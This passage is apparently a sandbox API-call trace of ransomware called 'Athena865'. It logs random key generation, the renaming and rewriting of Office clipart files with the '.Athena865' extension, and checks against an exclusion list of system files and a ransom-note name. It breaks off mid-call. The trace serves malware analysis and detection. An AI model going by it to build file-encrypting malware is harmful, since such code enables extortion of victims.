dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.124] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.125] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.127] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.128] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.128] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.128] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00076_.WMF" | out: lpString1="FD00076_.WMF") returned="FD00076_.WMF" [0123.129] lstrlenW (lpString="FD00076_.WMF") returned 12 [0123.129] lstrlenW (lpString="Athena865") returned 9 [0123.129] lstrcmpiW (lpString1="0076_.WMF", lpString2="Athena865") returned -1 [0123.129] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.Athena865") returned 73 [0123.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.130] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11994) returned 1 [0123.130] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.131] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.131] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.133] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.134] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.134] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.135] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00077_.WMF" | out: lpString1="FD00077_.WMF") returned="FD00077_.WMF" [0123.135] lstrlenW (lpString="FD00077_.WMF") returned 12 [0123.135] lstrlenW (lpString="Athena865") returned 9 [0123.135] lstrcmpiW (lpString1="0077_.WMF", lpString2="Athena865") returned -1 [0123.135] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.Athena865") returned 73 [0123.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.137] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30240) returned 1 [0123.137] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.137] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.137] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.141] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.141] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.141] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.142] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00086_.WMF" | out: lpString1="FD00086_.WMF") returned="FD00086_.WMF" [0123.142] lstrlenW (lpString="FD00086_.WMF") returned 12 [0123.142] lstrlenW (lpString="Athena865") returned 9 [0123.142] lstrcmpiW (lpString1="0086_.WMF", lpString2="Athena865") returned -1 [0123.142] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.Athena865") returned 73 [0123.142] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.143] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29212) returned 1 [0123.143] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.144] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.144] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.147] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.147] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.147] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.148] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00090_.WMF" | out: lpString1="FD00090_.WMF") returned="FD00090_.WMF" [0123.148] lstrlenW (lpString="FD00090_.WMF") returned 12 [0123.148] lstrlenW (lpString="Athena865") returned 9 [0123.148] lstrcmpiW (lpString1="0090_.WMF", lpString2="Athena865") returned -1 [0123.148] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.Athena865") returned 73 [0123.148] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.149] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14194) returned 1 [0123.150] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.150] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.150] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.153] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.154] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.154] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.155] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00096_.WMF" | out: lpString1="FD00096_.WMF") returned="FD00096_.WMF" [0123.155] lstrlenW (lpString="FD00096_.WMF") returned 12 [0123.155] lstrlenW (lpString="Athena865") returned 9 [0123.155] lstrcmpiW (lpString1="0096_.WMF", lpString2="Athena865") returned -1 [0123.155] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.Athena865") returned 73 [0123.155] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.156] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37390) returned 1 [0123.156] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.157] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.157] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.160] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.161] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.161] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.162] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00296_.WMF" | out: lpString1="FD00296_.WMF") returned="FD00296_.WMF" [0123.162] lstrlenW (lpString="FD00296_.WMF") returned 12 [0123.162] lstrlenW (lpString="Athena865") returned 9 [0123.162] lstrcmpiW (lpString1="0296_.WMF", lpString2="Athena865") returned -1 [0123.162] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.Athena865") returned 73 [0123.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.163] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15856) returned 1 [0123.163] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.164] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.164] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.166] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.167] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.167] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.167] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00297_.WMF" | out: lpString1="FD00297_.WMF") returned="FD00297_.WMF" [0123.167] lstrlenW (lpString="FD00297_.WMF") returned 12 [0123.167] lstrlenW (lpString="Athena865") returned 9 [0123.167] lstrcmpiW (lpString1="0297_.WMF", lpString2="Athena865") returned -1 [0123.167] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.Athena865") returned 73 [0123.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.169] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18194) returned 1 [0123.169] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.170] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.170] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.174] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.175] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.175] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.175] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00306_.WMF" | out: lpString1="FD00306_.WMF") returned="FD00306_.WMF" [0123.175] lstrlenW (lpString="FD00306_.WMF") returned 12 [0123.175] lstrlenW (lpString="Athena865") returned 9 [0123.175] lstrcmpiW (lpString1="0306_.WMF", lpString2="Athena865") returned -1 [0123.175] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.Athena865") returned 73 [0123.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.177] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=46814) returned 1 [0123.177] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.177] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.177] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.181] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.182] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.182] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.182] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00336_.WMF" | out: lpString1="FD00336_.WMF") returned="FD00336_.WMF" [0123.182] lstrlenW (lpString="FD00336_.WMF") returned 12 [0123.183] lstrlenW (lpString="Athena865") returned 9 [0123.183] lstrcmpiW (lpString1="0336_.WMF", lpString2="Athena865") returned -1 [0123.183] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.Athena865") returned 73 [0123.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.184] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6068) returned 1 [0123.184] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.184] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.185] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.187] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.187] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.187] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.188] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00361_.WMF" | out: lpString1="FD00361_.WMF") returned="FD00361_.WMF" [0123.188] lstrlenW (lpString="FD00361_.WMF") returned 12 [0123.188] lstrlenW (lpString="Athena865") returned 9 [0123.188] lstrcmpiW (lpString1="0361_.WMF", lpString2="Athena865") returned -1 [0123.188] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.Athena865") returned 73 [0123.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.189] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4074) returned 1 [0123.189] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.190] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.190] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.193] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.193] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.193] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.194] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00369_.WMF" | out: lpString1="FD00369_.WMF") returned="FD00369_.WMF" [0123.194] lstrlenW (lpString="FD00369_.WMF") returned 12 [0123.194] lstrlenW (lpString="Athena865") returned 9 [0123.194] lstrcmpiW (lpString1="0369_.WMF", lpString2="Athena865") returned -1 [0123.194] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.Athena865") returned 73 [0123.194] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.195] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8552) returned 1 [0123.195] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.196] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.196] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.200] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.200] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.200] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2=".") returned 1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="..") returned 1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="windows") returned -1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="bootmgr") returned 1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="temp") returned -1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="pagefile.sys") returned -1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="boot") returned 1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="ids.txt") returned -1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="ntuser.dat") returned -1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="perflogs") returned -1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="MSBuild") returned -1 [0123.201] lstrlenW (lpString="FD00382_.WMF") returned 12 [0123.201] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00382_.WMF" | out: lpString1="FD00382_.WMF") returned="FD00382_.WMF" [0123.201] lstrlenW (lpString="FD00382_.WMF") returned 12 [0123.201] lstrlenW (lpString="Athena865") returned 9 [0123.201] lstrcmpiW (lpString1="0382_.WMF", lpString2="Athena865") returned -1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2=".dll") returned 1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2=".lnk") returned 1 [0123.201] lstrcmpiW (lpString1="FD00382_.WMF", lpString2=".ini") returned 1 [0123.202] lstrcmpiW (lpString1="FD00382_.WMF", lpString2=".sys") returned 1 [0123.202] lstrlenW (lpString="FD00382_.WMF") returned 12 [0123.202] lstrlenW (lpString="bak") returned 3 [0123.202] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0123.202] lstrlenW (lpString="ba_") returned 3 [0123.202] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0123.202] lstrlenW (lpString="dbb") returned 3 [0123.202] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0123.202] lstrlenW (lpString="vmdk") returned 4 [0123.202] lstrcmpiW (lpString1=".WMF", 